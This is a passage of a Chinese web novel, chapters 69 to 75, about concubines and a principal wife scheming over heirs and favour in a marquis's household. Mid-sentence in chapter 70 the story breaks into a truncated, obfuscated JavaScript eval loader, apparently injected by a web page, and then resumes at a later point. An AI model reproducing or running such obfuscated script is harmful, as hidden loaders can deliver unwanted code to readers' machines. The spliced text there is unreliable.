姚初蕊一想到自己的肚子又充满了希望:“不过这些带着福运的东西,也还是越多越好,宁可信其有,不可信其无嘛。回头再去请座送子观音回来供上,也是时候再给爷生个小公子了。” “小娘放心,奴婢明日就去,舅爷那边说是有尊好的,前些日子还要给小娘送来呢。” 翠蝶笑嘻嘻地道,说着话又看了姚初蕊的裙角一眼,“这裙子要是能把绣线都替成金线就更好看了,小娘要是能再生下一个小公子,这后宅怕就没人能越过你去了。” “到时候再用金线想必别人就说不出什么了,奴婢祝小娘早日得偿所愿、早生贵子。” “嘴甜的丫头,不过你这眼光可不怎样,明晃晃的金线就算不逾矩,穿上跟个地主婆似的,还真不如这个。”姚初蕊嘴上这么说,心里却是熨帖的。 柏兰姵身子不好,要是熬不过这几年,而她又再得一子的话,她很可能就会被扶正了。 这一点倒不是她狂妄,而是她本身的出身确实可以做正室。 关键是本朝虽有不能以妾为妻的律例,可那针对的是继承爵位和家业的子嗣,姜奕辰不是世子,将来是要分出去过的,倒是的确可以将贵妾、良妾扶正。 “咳……小娘,爷出门去了。” 如意从外面进来,刚好看见翠蝶对着姚初蕊的首饰匣子露出艳羡而贪婪的目光,她上前去,直接挤开了翠蝶, “你先到外面准备着吧,这儿有我伺候小娘呢。” 翠蝶心里不甘,可还是不得不退了出去,只是她并没有去做别的,而是躲在了窗户底下偷听。 如意见门帘子放下,就对姚初蕊道:“小娘,奴婢觉着要不还是把翠蝶送回姚家吧,她那点儿心思,奴婢都看出来了,小娘该不会一点儿都没看出来吧。” 第70章 次子得她来生 翠蝶身段好,长得也娇俏,还有几分像姚初蕊,这是姚家给姚初蕊准备的通房丫鬟。 姚初蕊生姜士明的时候本来要抬举如意,她不甘不愿的。如意看了就怕,想着还不如老老实实地在他身边服侍着,将来找个外院的人嫁了,再接着在她身边服侍。 这辈子全当全了主仆之情了,也挺好。毕竟姚初蕊这个人,只要你别动歪心眼儿打她男人的主意,又能用心服侍她,她对底下人还是不错的。 没想到姜士明三岁的时候,姚家人以为姚初蕊还得趁着调养好了再生一个,就送了翠蝶进来。 翠蝶做事、女红倒还都不错,只是从一开始她就知道自己是来当通房的,随着年纪一岁一岁的上来,如今也十五了,心思也活络了起来。 姜奕辰对翠蝶倒是没什么意思,连多看一眼的时候没有,可翠蝶一直以为这是在顾及姚初蕊的感受,只要姚初蕊开了口让她开脸,姜奕辰是一定会收了他的。 如意最看不上翠蝶这种人,要是没这些心思直接被姜奕辰看上了,那倒也罢了,偏偏生出这种上不得台面的心思。 “送回去,没准儿又得给我再送一个来。他们也不想想,我一个妾室,虽说是贵妾,也没有道理越过夫人去安排屋里人的。” “让我为了翠蝶向夫人张这个嘴?凭什么?不值当,就耗着吧,等过上两年,年纪再大点,就把她打发出去嫁人。到时候我这儿大概也再生一个了,彻底站稳了,家里也不好送人来。” 姚家在先夫人病重的时候就败落了,先夫人姚氏过世会后,姜定武续弦徐氏,徐氏出身皇商,从小家里当男儿养着,是家里的弟弟过了早夭的年纪、立住了,才嫁的人。 徐氏进门之后很快就执掌了后院和侯府里的庶务,等到姜奕辰大一点了,就跟着徐氏看账、理账,再大一点进学的时候,上完学就跟着管事儿里去铺子里转,再大一点,一年就总有三四个月跟着外面的庄头、管事儿、商队行走,学着经营庶务、贩货走货,就连仕途经济也是从市令这样的官职入手的…… 总之,自徐氏进门之后,定安侯府的中馈和庶务就全都掌握在了徐氏和她的儿子手里,之后老五姜奕安回来如果不去武考做武官的话,想必也是要走这条路的。 姚家原就成了破落户,在姚氏在世时还能搭着侯府的庶务做做自家的生意,后来要想不人走茶凉、被侯府甩掉,就得搭着徐氏这边的人来。 世子姜奕德虽说是姚家的亲外孙,可他既然贵为世子,性子又是那般,是断断不会沾手庶务的,他看到姚家如此,也只能帮着说几句话,具体地现在都是姜奕辰在办。 这种情况下,姚家自然是要抓着姜奕辰不放的,姚初蕊只要能在姜奕辰身边站稳了,不往远了说她生的子嗣可能继承很大一部分四房的家业,就说眼前的,她只要跟姜奕辰处的好了,就说明姚家和徐氏处得好了。 为了这一点,当初徐氏进门之前,姚家可是刻意透了风出去暗中让徐氏上过门的,以原配娘家的身份承认了皇商家族出身的继室徐氏,这对于续弦来说是抬高了身价的。 徐氏接受了姚家的善意,这些年也算是相处和乐,尤其是姚初蕊生下了姜奕辰唯一的孩子,也是侯府这一代目前唯一的孩子。 姚初蕊见如意不解,叹了口气道:“姚家是姚家,可我不完全是姚家的,姚家也不会只支持我一个。今儿一个翠蝶,明儿一个粉蝶的,我都接了还给安排的,我这儿成什么了?” “就算我不嫉妒、不在意,我给翠蝶开了脸了,万一爷宠她几天就给丢到脑后了,那不还得再送一个了?” “我这儿是一心居,不是多心居,我可不由着他们。如意,你一向忠心,有些话我也得跟你说到了,你老子娘还在要嫁,你让我全给你要过来是不成了,但将来给你弟弟谋个差事却不是行的,你早打算。” 她顿了顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姚初蕊冷静了一些,但脸色依旧不太好:“你不懂,我这回有感觉,这个柏芷兮不太一样。我担心爷没遇到过这样的,一头扎进去就忘了咱们这儿了。” “不行,爷的次子或是长女一定要我来生,可不能便宜了那个**。她现在只是服侍了爷两晚,就连院子都整修上了,还中什么茶梅,那什么鱼皮饺也端到侯夫人的桌上去了。” 第71章 你可别跟她学 姚初蕊对着镜子最后查看了一下自己的妆容,站起身就往柏兰姵那边走: “那碗鱼皮饺是一块儿敲门砖,要是她哪天敲开了侯夫人的门,入了侯夫人的眼了,咱们可就麻烦了。” 其实以姚初蕊对姜奕辰的了解,这些年无论是府里还是姜奕辰自己都受了柏家不少帮助, 可是姜奕辰是个有骨气、有分寸的人,他可以在别的事儿上还上这份恩情,可是在子嗣上他未必就会愿意这样做。 一开始姚初蕊的打算是先放任柏芷兮一段时间,之后想法子让姜奕辰厌恶了她,她就有把握能劝得动姜奕辰不把柏芷兮的孩子教给柏兰姵抚养。 别看柏芷兮是以柏家养女、柏兰姵的媵妾的身份进门的,可只要她进了门,生了孩子,最终这孩子谁来养、怎么样都只用看四个人的意思。 这四个人就是身为公公、婆母的姜定武和徐氏,再就是姜奕辰和柏兰姵,柏兰姵只是能下决定的其中一个人,而且是这四个人里权力最小的一人。 姜定武一向不管这种事,她只需要影响姜奕辰和徐氏就可以了,可是万一柏芷兮入了徐氏的眼了,徐氏将来为她说话,答应把孩子养在柏兰姵那儿或是答应让她自己抚养,那可就麻烦了。 如意也想明白了:“可是,小娘,咱们也不能直接到侯夫人那儿告状啊。侯夫人现在还没见过她,她就是一个普通的良妾,还是那样的出身,侯夫人之后也不会轻易见她了。” “奴婢听说她并没有亲手给侯夫人做鱼皮饺子,别的菜也不是亲手做的,她只是把食方和做法告诉了夏姑姑,做吃食和送吃食的也都是夏姑姑和她身边的人。” “要是能想法子让夏姑姑不再给她递东西上去,估么着用不了多久,侯夫人就会忘了她的。” 趁着柏芷兮和徐氏这样的接触还不多,赶紧斩断这种联系。 只要徐氏还没见过柏芷兮,对于徐氏来说,柏芷兮这个人就只活在别人的描述里,徐氏将来总不会帮一个连印象都模糊的人。 西院儿正屋里,柏芷兮先到了,她行过礼之后,见着柏兰姵的头发还没梳好,就从玉棋手里接过了乌木梳子和首饰,还像之前那样给柏兰姵梳头。 她梳头时的动作比之前还要轻柔、小心,并没有因为姜奕辰连着两晚都在她那儿就觉得自己要得宠了而怠慢柏兰姵。 柏兰姵这个时辰了头还没有梳好,可不就是等着她来服侍么? 柏芷兮从前学过的功课里有重要的一项就是揣摩主母的心事,妾室守则中有那么一条,就是说这主母呀,身为妾室既得把她们当作主子看待,也得把她们当作深宅妇人看待。 就好比柏兰姵主动为自己的丈夫纳妾,是显示了自己的贤良了,也能让自己膝下更快地有子,不嫉不妒,后宅和睦,夫君子孙充盈,她在实践身为主母的责任。 可是你真的以为她这么做的时候就一点都不嫉妒吗?一点都不想得到丈夫的怜惜和爱护么? 当然不是,她也是一个女人,就算她对丈夫的情爱不感兴趣,她也是希望得到别人的关注和尊重的……这种微妙的感觉和分寸感一定要把我好了才行! 柏芷兮梳完头,一如既往地问镜中的柏兰姵:“夫人看看,这样可好了?这发髻不高,胜在发包在堆叠中松散,不至于沉了,累着脖子。也不至于向后坠,拉扯了头皮。” 柏兰姵仔细端详着看她这般用心,这适合自己的头型、梳法、发饰定都是提前几日就要去想的,难为她老神了。 柏兰姵本来想多摆几分架子给她看,看她如此,心先软了一截:“回头把这手艺也教教玉棋,以后就不必总来给我梳头了,弄得好像我欺负你似的。” “你现在也是爷正经的妾室了,以后要多把时间放在怎么服侍爷身上。我这个人没你们想得那般不好相处,你啊,得记着,只要爷好,咱们西院儿好,你才算是服侍好了。” 都是西院儿的人,一荣俱荣,一辱俱辱,要是姜奕辰不好了,她们所有人都得跟着走背字,等到那个时候,是正妻又如何呢? 说不好听点,万一他们争宠弄得西院儿出了乱子,提早被姜定武给分出去过了,他们可分不到多少资财,以后一大家子的日子要怎么过? 出去独门立户不是那么容易的,这侯府里什么都有,他们想要什么,最多使些银子都差不多能够办到。 要是出去了,宅子、人手、营生全都得从头再来,没有一点基础可以倚仗,还失了靠山,就算姜奕辰再会打理生意和钱财,没了侯府这层倚仗,他一切也还得重头开始、重头适应。 要是更惨的事情发生,她们闹矛盾被有心人利用,导致姜奕辰被人给陷害或是出卖了,弄个举家流放的下场,那么柏芷兮这样的妾室还有可能被人赎了去再给别家当妾,柏兰姵这样的正妻是真的逃无可逃了。 柏芷兮赶忙应道:“夫人说得是,妾一定事事以爷为先,不过这也不耽误妾服侍夫人。” “服侍我,放在心里就好。我跟一心居的那位不一样,她呀,天天想着怎么多生儿子,将来好多分四房的产业。” “她也不想想,这侯府的家业,最终世子是要拿走六成的,说不定还是七成,剩下三位爷,还有一个马上要出嫁的三姑娘的嫁妆也要准备,分到咱们这四房头上的资财还有多少。” “她是个善妒、短视的,你可别跟她学。爷在你面前,是夫主和主君,你可千万别把自己弄得跟个怨女似的,那样不仅不招爷喜欢,也对你自己不好。” 柏兰姵一说起姚初蕊就停不下来,陶丝绣不理后宅的事儿,她身边的两个侍女她都不打算让姜奕辰收房的,也就不必听这么多她跟妾室之间的事儿。 她平时也挺闷的,好不容易来了个柏芷兮,尽管她现在还不能把她当自家妹妹看,可说说话,排解一下,总算能有个说得上话的人了。 第72章 媵妾的职责 这都是好话,柏芷兮也没想把自己变成一个善妒的女人,主要是她没有嫉妒的理由。 柏兰姵是正妻,姜奕辰原本就是她的,这院儿里多了几个女人了,分了她的宠和尊重,她还得劳心劳力的,还得搭上柏大人那儿的人脉、好处,她心里不平,从而生了嫉妒,她有理由。 姚初蕊,出身好,还生了儿子,好生养,换了在别家,完全可以做正室,却偏生家里败落了,成了破落户,不得不来巴结续弦生的儿子。 要说姚初蕊也可怜,姜奕德是世子,也是她表哥,其实要是想继续搭乘定安侯府这艘大船,又只是做一个贵妾,她完全可以去做姜奕德的贵妾。 姜奕德开口让自己的四弟姜奕辰帮忙照应一下姚家,姚家又是姜奕德的母家和舅家,还有姜定武这个偏心眼儿的爹在,姜奕辰敢不管姚家么? 再或是姚家根本不需要把姚初蕊嫁进来,就靠着一个姜奕德,让姜奕德自己跟徐氏、姜奕辰搞好关系,姜奕德许些好处进去,难道就不能派一个管事儿过去专门负责跟姚家的事儿了? 徐氏和姜奕辰是不敢也不会拒绝的,要是他们敢,姜定武头一个就不会答应,一怒之下发落了姜奕辰,让他落下个不孝原配嫡母的罪名,还不得让他落下个不孝嫡母的名声。 其实姚初蕊根本就不需要嫁给姜奕辰,甚至姜奕德她都可以不嫁,姚家这么安排,纯粹是因为两个原因。 最主要的就是姜奕德这个世子爷当的高贵,不想在继母和弟弟面前赔笑脸、惹麻烦,打理庶务和做生意是一个长期的事儿,他不想沾这一身铜臭,宁愿让母家去直接跟四房搭伙儿。 再一个原因就是姚家这边不放心,就算姜奕德肯管这个事儿,最终也还是要落到徐氏和四房头上,姚家肯定觉得中间隔着一个人,多少还是不放心,要在姜奕辰身边放一个枕边人,最好能生下个孩子,这事儿才能长久。 毕竟姜定武都五十多了,将来姜奕辰分出去过了,这一大摊子交回给侯府了,姜奕德也肯定是管不了的,而且到时候徐氏可就是侯府的太夫人了,这摊子事儿暗地里还不得姜奕辰管着? 就算姜奕辰真出去自己另开摊子了,就凭他在生意上的能耐,将来也差不了,就算他离了侯府了,跟这个人交好,将来继续用这个人也错不了…… 姚家觉得横竖都是自家想法子把姜奕辰绑紧了,这才非得把姚初蕊这么一个好端端的嫡女给嫁了过来,毁了她一辈子。 姚初蕊是被当做将来哪一家的正室夫人教养长大的,却当了妾室,碰不了西院儿掌家的这点儿事儿。姜奕辰对她是比对别人看重些,可这心也没偏得太厉害。要说子嗣,她生了一个,又不是个全乎的,作为一个母亲她每日里在爱子之心、遗恨和担忧中来回纠结…… 姚初蕊她既没得到她想要的地位,也没得到多少情意,还每日里闲着没事儿干,可不就生了嫉妒之心了么。 还有陶丝绣也是有理由的,让人家做了通房,碰过了人家之后却不再碰了,虽说人家在绣庄、绣坊上找到了自己位置,收获了更大的满足,可这么长久下去也不见得是个事儿啊。 要是陶丝绣单纯就只是一个管事儿,到了这个年纪明明可以配一个正经的管事儿,堂堂正正地嫁人的,将来还能有自己的子女…… 现如今陶丝绣变成了一个管事儿和有名无实的通房的合体,如此之尴尬,等到她年纪再大些,看着身边其他女管事儿都有家、有孩子了,她会不会嫉妒? 陶丝绣嫉妒那些女管事儿倒是小事儿,她对耽误了她的姜奕辰和徐氏会怎么想?没准儿那就不是嫉妒这么小的事儿了,得是恨呢。 柏芷兮在心里想着,她自己吧,实在没有什么嫉妒的理由,其实她愿意进府,没跟着哪个穷书生跑了,就是想太太平平地混口饭吃,一直混到她这张脸不至于惹祸了,能自己出去混口饭吃就行。 要是她现在出去就能太太平平地自食其力,不像她娘亲那样被人争抢之后死于非命还间接害死了她爹,她现在就可以不当这个劳什子的妾了。 什么争宠,什么生子的,不过都是她为了达到目的不得不办完的差事罢了。 既然是差事,那就得认真做,但是不能太走心,就算她哪天跟姚初蕊这样的人互相扯头发打起来了,她也只是装的,为了完成这差事而已,不是真嫉妒的…… 柏芷兮想着想着就出神了,她给柏兰姵整理着桌上妆奁匣子,脸上的表情却明显不在这事儿上。 “你这是想什么呢?是姚小娘出什么招了,还是你……当真对她一点嫉妒之心都没有?” 柏兰姵都看了她好一会儿了,摆了摆手让玉棋退下,显然是看出来了,柏芷兮哪里有些不对,要单独跟她说话。 她对柏芷兮的心态有些矛盾,柏芷兮是她这边补进来的媵妾,媵妾的首要任务就是替她这个主母生孩子。 什么是媵妾?禹朝有规矩,女子嫁与公侯之家或四品以上门第为正妻者可配族中姐妹三人以内随嫁为妾,若正妻无子,这三人所生子嗣,无须过继或记名,在族谱和亲族关系上都以正妻之亲子论。 要问柏兰姵最想让柏芷兮做什么,自然是让她生个儿子了,最好多生几个,儿女双全才好,然后都养到她屋里来。 这样的话,其实柏芷兮不嫉不妒是好事儿,因为嫉妒就像一把刀,它能捅别的妖魔鬼怪,也能捅她。柏芷兮要是不嫉妒,对她这个正室来说也挺好的。 可是既然都进门了,要说只让她安安静静、乖乖巧巧地生孩子,那也不现实。 柏兰姵是拿姚初蕊没什么办法的,她是指望着柏芷兮帮她一把的,最好能把姚初蕊彻底地打压下去。 可要这么做,让柏芷兮跟姚初蕊争宠,柏芷兮就必须有点儿嫉妒之心,没有的话,干这事儿就不够起劲儿。 第73章 女人最可怕的时候 柏兰姵自己想想都觉得矛盾,要是柏芷兮有了嫉妒之心,万一连她也嫉妒上了,也挺麻烦的。 柏兰姵稍一寻思,还是觉得柏芷兮得有点儿嫉妒的小心思才行,一个妾室,太贤良淑德了,像什么话,还要跟她这个正室比不成? 再说了,柏芷兮对姚初蕊动了妒心,又不等于会嫉妒她这个正室,柏芷兮要是敢对她怎样,她有的是办法对付她。 更何况将来要是柏芷兮有了孩子,孩子就养在正屋,她敢做什么,除非她一点儿都不在乎她身上掉下来的肉。 玉棋退出去之后,柏兰姵便道:“做这后宅的女人,善妒不是好事儿,可是不善妒不等同于一点儿都不嫉妒,那可就不是女人了,是圣人。” “一个月下来,姚小娘服侍爷的时候是最多的,那样霸着爷,你就一点儿不妒她?现在咱们这西院儿的人还少,你怎么着也能分到几日,将来人多了,再由着她占着爷,你还怎么有孕?” 看定安侯府这一代子嗣单薄到这个程度,就算没有姚初蕊,别的女人也未必就能怀上。 要想有孩子,还是得弄明白这当中关键所在,柏兰姵知道这件事么?她只要不傻就定是怀疑过的,可是找不出问题所在,就只能归结于这是命或是运道不好上面,最多继续暗中调查原因。 柏芷兮不好点破,这不是一个妾室该管的,但这样她就更不知道该怎么回答了,只能道: “妾要是妒了她,就怕爷就对妾更不喜了。不瞒夫人,妾进门以来虽然总共才服侍了爷三回,可是妾看得出来,爷不喜欢妾太有心思,怕是担心妾欺负了姚小娘和小公子去。” “况且妾还没能在爷那儿完全站住脚,现在就跟姚小娘有龃龉的话,爷也会觉得妾不够安分。妾还是得想想法子,先让爷接受了妾才成。” “妾虽有幸与夫人同姓,可身世上究竟如何这府里的人都清楚。妾想着子嗣之事,还是得妾能常让爷到芷春居坐坐,妾自己保养好身子,这样才好子嗣有望。” 说到底,别的都是空的,子嗣这种事儿,怀上了就是赢了,没怀上就是输了,嫉妒不嫉妒的,能不能把姚初蕊扳倒,都是另外的事儿。 柏兰姵想了想,是她太心急了,倒也没为难她:“你刚才在想什么?我看你那样子,不像是在顺着我的话想,你该不会是又做了什么惹怒爷的事吧?” “这……倒不是,妾是想到……这些话妾说了就逾矩了,妾觉得还是不说为好。”柏芷兮为难地道。 要是真不想说,她就说别的把话岔开了,她之所以开这个口,就还是觉得这话该说。 她跟柏兰姵到底是一条船上的人,尽管柏兰姵对她颇为严厉,并没有因为她是柏家养女就念了多少姐妹之情了。可万一柏兰姵栽了,她是一定会跟着受罪的。 纵使这些话柏兰姵听了会不好受,觉得她逾矩,她还是得透出一些来。要是柏兰姵能听进去一些,也能避免一些祸患。 况且她觉着从这个方向入手,说不定由柏兰姵自己去对付姚初蕊还更方便些。 一个正室对付一个有子的贵妾,总比让她这个名不符实的良妾出手强,她的这份差事可不包括冒着被姚初蕊吃了的风险去争宠。 她也不是不肯帮着柏兰姵对付姚初蕊,只是她从婵儿那儿得知,姚初蕊最近都在吃有助于有孕的药膳,这是准备再生一个呢。 女人吧,最可怕也是最有力量的时候,就是跟孩子有关的时候,尤其姚初蕊现在还不是要保护一个孩子,是想要再生下一个孩子,这时候的女人最可怕! 而且她不清楚姚初蕊当初是怎样机缘巧合之下生下姜士明的,还是说姚初蕊有什么别人没有的秘方,要是后者还好,或许姚初蕊这一回还能再生下个孩子,要是前者…… 呵呵,机缘巧合才生下头一个孩子的话,姚初蕊又不知道这个机缘是什么,这回可就没那么顺利了。 女人一旦对生孩子这种事儿期望过高,一旦失望,要么就哀怨难过,有伤不能自己,要么就得歇斯底里地暴怒…… 她真心觉得姚初蕊会是后一种人,与其到时候直接对上她这个被柏兰姵盼着等着生子的人,到不如让柏兰姵釜底抽薪,先去把姚初蕊搞垮。 柏兰姵看她那副欲言又止的样子,嘴角勾了一下:“说吧,别一副没出息的样子,这儿没别人,没看我把玉棋都支出去了么。” 柏芷兮心里盘算着尽量把话绕开了些,不要那么直接,嘴上便也吞吞吐吐起来: “夫人方才说了爷将来是要分出去过的,这侯府里的东西,包括爷一直打理着的庶务和产业也都是要一并交回去的,自己落不得多少,妾就想到了两个人和两件事。” 柏兰姵听着觉得有点意思,便道:“这头一个人定是爷了,你说说,你是不是觉得爷白忙乎了一场?” 柏芷兮明眸微垂,腼腆地道:“说不好,若单论钱财,倒也能落得一些,在这当中爷自己也会有积攒,只是跟爷这些年付出的相比,自然是不大值当的,看起来像是在给人做嫁衣裳。” “不过,爷要是不这么做,又能做什么呢?这中间这么多年,总不能因为担心自己被人占了便宜去,就什么都不做。那样的话侯爷怕是不会高兴的,爷这市令的位子,也不知道还能不能做下去。” “这就像是一种交换,爷为府里打理庶务和生意,供养这一大家子人,而侯府也给了爷依靠,让他能在外面做自己想做的事,得到历练,有了差事,将来也能拥有自己的家业和前途。” 姜奕德在徐氏进门前就已经是世子了,这家业打理起来将来究竟归了谁从一开始就一目了然了。 可无论是姜奕辰还是徐氏就能因为这些东西将来自己占不了多少好处,就撒开手去不管么? 自然不能,他们是明知道这是在给人做嫁衣裳,还得继续穿针引线、辛苦织造下去的。 第74章 认清自己的路 柏芷兮微微叹了口气:“妾不会说那些大道理,只知道这就好比当一天和尚撞一天钟,不仅是爷,这府里的每一个主子哪个不是要以侯爷和世子为尊的?” “当然也确实不能不为自己考虑,可妾觉着爷现在做的事也是一种历练,要是没有侯府,这里面许多事儿八成是做不成的。可有了侯府,爷就能成了这些事儿。” “等到将来分出去了,这些事儿给爷打下的根基,定是能让爷走得更稳、更远的。” 这就像是借鸡生蛋,柏芷兮没敢说出这句话,有的女子出身比姚初蕊还要好,也依然会被家里送去给公侯之家做贵妾,说白了还是家里没有个依靠,许多事儿就做不成了。 这些个贵妾将来要是生了儿子,也没几个指望他们是能继承侯府的,要的也不过是一个侯府公子的出身,将来好给母家做靠山。 徐氏虽是姜定武的正室夫人,可遇上了姜定武这样偏心眼儿的爹,姜奕辰从出生开始,他的地位从某个中程度上来说与那些贵妾之子并没有多大的差别。 他早晚要分出去过,那就要在此之前借助侯府丰盈自己的羽翼,等待展翅高飞的一天。 柏兰姵没想到她会说出这些话,多少有些意外,但内心里却忽然觉得,以后她或许真能多一条臂膀了。 这时候趁着姚初蕊还没到,她也愿意多教柏芷兮一些,“没想到你还有些悟性,爷是侯府公子,他出生在这侯府里的那一刻起,身上就背负起了责任,这是推脱不掉的。” “他若是因为心里那口气不平,就撂挑子不干了,世人不仅要说他不孝不悌,他也会彻底失去他现在拥有的一切。对这世上很多人来说,并没有那么多的天生赐予,能有一个能够借力、积累、向上的机会就已经很不错了。” “我说姚小娘短视,是她只知道争宠,以为自己生了个儿子就怎样了。她也不想想爷现在最要紧的是什么,是把外面的摊子做大啊。只有这摊子勾搭了,咱们这些个人和孩子们才有得争。” 往远了想,如果姜奕辰没功名、没差事,生意还做不好,等到姜定武百年之后,一旦分出去了,都不用等到下一代,恐怕十年之内就与南安都稍好一些富户无异了。 她们争、孩子们争又有什么意义?即便争赢了,到了下一代,最大的受益者恐怕也只是城中一个普通富户罢了。 只有姜奕辰的地位够高、财势够强,这样的争夺才有意义,分到得才够多,所以他现在最要紧的就是做好他的市令,当好的他的差,再靠着侯府的庶务在外面扩展他的生意,积攒财势。 禹朝虽然对官员家产中涉及商贾之事的部分做出了限制,可你有张良计,我有过墙梯,这些个人多是将产业寄在祖产之下或是寄在握得住的心腹名下,甚至还可以借助妻妾、女儿的嫁妆和私产规避很大一部分。 姜奕辰现在经营的大部分还是定安侯府的产业,在他们被分出去之前,他想要积攒出自己的家当,构建出一个不亚于现在财势堡垒,还有很长的路要走。 所以姜奕辰对柏兰姵没有多少宠爱又如何,柏兰姵和柏家能帮的上他、能成就他,他就不可能让姚初蕊越过柏兰姵去。 从前柏芷兮便有些这方面的想法,只是这会儿经柏兰姵提点后,她想得更透彻了: “夫人说的是,难怪爷好像也没有太心急于子嗣之事,他也没有催过妾,就是对姜士明小公子的状况也没有特别着急。” 他是不急的,可柏兰姵却不能一点都不急,她目光一聚,眼神伶俐地瞪了柏芷兮一眼: “他不急,咱们可能一点都不急,对他来说,只要聪明讨喜,长大了能成才得用,孩子是谁生的都没多大区别,可对咱们来说区别可就大了。” “咱们的孩子要是她姚初蕊的小太多了,将来她的孩子都出去担事儿了,咱们的还在府里开蒙念书呢,这事儿可不就都到了她孩子的手里了?” “等到咱们的孩儿长大了,你再想让他们母子把到手了的吐出来,哪儿还有那么容易的事。我可先把丑话放在前面了,你这肚子争气还好,我不是那等容不得人的,将来自有你们母子的好日子过。” “要是你这肚子不争气,就别怪我再抬两个进来。你要是起了别的心思,想跟陶丝绣学,你是个聪明人,自己多想想,身为妾室却活得跟管事儿似的,这样的日子就真的容易了?” 姜奕辰不急,她们也不能太急,只是不太急不意味着一点不急,真要彻底闲庭漫步、信马由缰了那才是傻。 现在柏芷兮但凡有一点要跟陶丝绣学的苗头,柏兰姵就要把她心里冒出来那的那一点儿小火苗给彻底按灭了。 好在柏芷兮其实心里也明白,她羡慕陶丝绣也只是在心里想想而已,每个人都有自己的难处。 作为手艺人某种程度上跟以色侍人的妾室一样都受限于年华,陶丝绣刺绣的手艺堪称一绝,可等她年纪大了,眼睛不行了,手年轻的时候捏针扯线的时候多了,年纪大了少有不抖的。 等到陶丝绣手艺不在了,身边的女管事和姜奕辰的妻妾都有了各自的子女,她的日子也不好过。 同样的道理,柏芷兮要是一门心思的往庖厨上奔,柏兰姵其实也拦不住她,为了面子上好看,也不会把她怎么样,大不了抬了新人进来就是了。 可她要是奔着厨房管事儿的位子去了,等到她年纪大了,味觉、嗅觉没有从前敏锐了,身子也不行,没法子在厨房一站就是大半日了,她一样要面对陶丝绣要面对的那些问题。 尤其柏芷兮心里清楚,这不上不下、似是而非的人是最难做的,她既已做了这妾室,再想走一条半妾半厨的路就更难走了。 在这一点上她甚至比陶丝绣更难,因为陶丝绣只是一个家生子出身的通房,起点更低,船小好调头,比她更容易转变。 而她呢,从一开始就是良妾,背后还有一个不会轻易松手的柏兰姵,想要转变过来只会比陶丝绣更难。 第75章 她让众人放下戒心 柏兰姵的话让柏芷兮无从反驳,她总不能点破了说这府里在子嗣之事上都有问题吧。 再说了,从柏兰姵的角度来说,既然所有人在这事儿上都有问题,她们就得想法子做那个没有问题的,这样的话压力还是落到她身上,从结果上来说并没有多大区别。 本来说好了是两个人闲聊几句,现在成了这样,屋里只有她们两个人,一时间屋里安静得要命,这时候要是有根针掉在了地上,都能听得到声音。 这种时候要是依照规矩,柏芷兮就该噗通一声跪在柏兰姵面前,赶紧叩头谢罪,说自己一定按照夫人的意思做,赶快抓住爷们的心,再是不敢有别的心思的。 可要是这样的话,她跟柏兰姵之间就彻底变成了妻妾之间的关系,这几日好不容易柏兰姵对她的态度软和了些,她可不想这么一跪就又跪了回去。 柏芷兮今日过来还带了一件东西,她把那东西放在了桌上的锦盒里,她伸手一摸,好在她不用挪地方就够得到。 她伸手把锦盒扒拉到自己这边,轻巧而迅速地用手指钩开盖子,将里面的东西拿出来,然后从桌上的果盘里拿过一颗核桃,放在那东西里一夹。 只听咔嚓一声,核桃在那东西工整地裂成了四瓣儿,难得的是核桃壳儿的渣子一点儿都没掉到桌子上,竟是全被那东西手住了。 柏芷兮讨巧地笑着,把开了的核桃放在一旁的小碟子里放到柏兰姵面前:“夫人尝尝,这比钳子开的要干净,里头的核桃不碎,不脏。” 柏兰姵刚想说她又作怪,一抬头,就对上一双笑眯眯带着讨好又带着柔美和惬意的眸子,她一时间竟然提不起气来,同时也被她手里的这个“夹子”吸引住了。 她没好气地道:“有点工夫、有点银子就都用到这些奇奇怪怪的东西上去了,这夹子也怪模怪样的,这夹头居然是圆的,倒是能刚好把核桃整颗包住,还能将碎了的核桃皮收在里边。” “从前没在府里见过,又是外头的东西?你找夏姑姑帮你做这些,她也托了府里造办坊的人做的,这中间用料、用工、中人都要银子,你有很多银子使么?” 那可真没有,她的酱料还没卖出去呢,哪儿来的银子。 柏芷兮都不用装了,她可怜巴巴地伸出一根手指头:“做完这个就只剩下一吊钱了,做好了觉得好用,就拿来送给夫人了。这个其实是一套,还有小的,可以夹松子吃,还有一种适合夹螃蟹的……还没银子做呢。” “妾想着等多攒些银子了,都做出来再给夫人送来用,可是妾也不知道这些银子要存多就,就先把这个做好的送来了……妾原先不知道住在这侯府里这么费钱,进门时夫人给的银子都花完了。” 一共也就多给了五两,这些日子以来打点这个打点那个的竟是花的差不多了,月例银子还没发下来,赏赐的那些首饰她还要拿来用,只布料能拿去送人,也不能直接换成银子使。 她是真穷,特别穷……这本来也是柏兰姵拿来辖制她的手段之一,现在告诉柏兰姵,她已经被她辖制住了,也是好事。 柏兰姵看着柏芷兮那再真诚不过的小眼神,不得不承认她被愉悦到了,但嘴上还是没好气地问道: “做了几把?自己有留下么?这东西该先给爷送去的。” “一共三把,一把留在了大厨房那边,一把给了夫人,还有一把打算夫人看过这把之后给爷身边的康安送过去。妾就是不想太刻意了,显得妾别有用心、不择手段似的。”柏芷兮尴尬而实在地道。 这十几日以来,府里的人都道她痴迷于厨艺,原先还以为她要用这手艺争宠,结果日子一长才发现,她只给食方、教人手艺,给徐氏的吃食竟然都不亲手做了送去讨巧献媚,竟然真就把这份辛苦和心思都送给了夏姑姑。 这才有人说她这些日子做的这些事儿,多是因为她自己嘴馋,看着她是个柔弱、伶俐的,其实也是个痴人。 姜奕辰会在冷了她十日之后又连宠了她两日,也不尽是因为徐氏派人去跟他说的那些话,也不止是因为府里关于她身世的议论暂时平息了下去,更多的是,她做的这些看似无关的事,让姜奕辰一点一点地对她放下了戒心。 她出身于揽月苑,还顶了一张这样的脸,一进门什么都没有做,就轻易被打上了满腹心机、伺机争宠的烙印。 她若是刻意去争宠,拼了命地往上爬,只会让所有人对她的戒心更盛,将来发生发生了什么不好的事,大家都会觉得是她做的,而姜奕辰也会在本心上排斥一个满腹心机的女人。 不管是妻还是妾,都是枕边人,一个心机满满、随时可能咬你一口的女人睡在身边,谁又能睡得踏实? 她是被柏兰姵领进西院儿这道门的,可究竟该怎么做,将来她有多大的造化,靠得还是她自己,柏兰姵要的只是结果而已。 柏兰姵咬核桃的动作一滞,过了一吸才继续嚼了起来,忽然笑了:“原来你打的是这个主意,聪明,难怪母亲会选了你。让我想想,你这样……好,很好。” 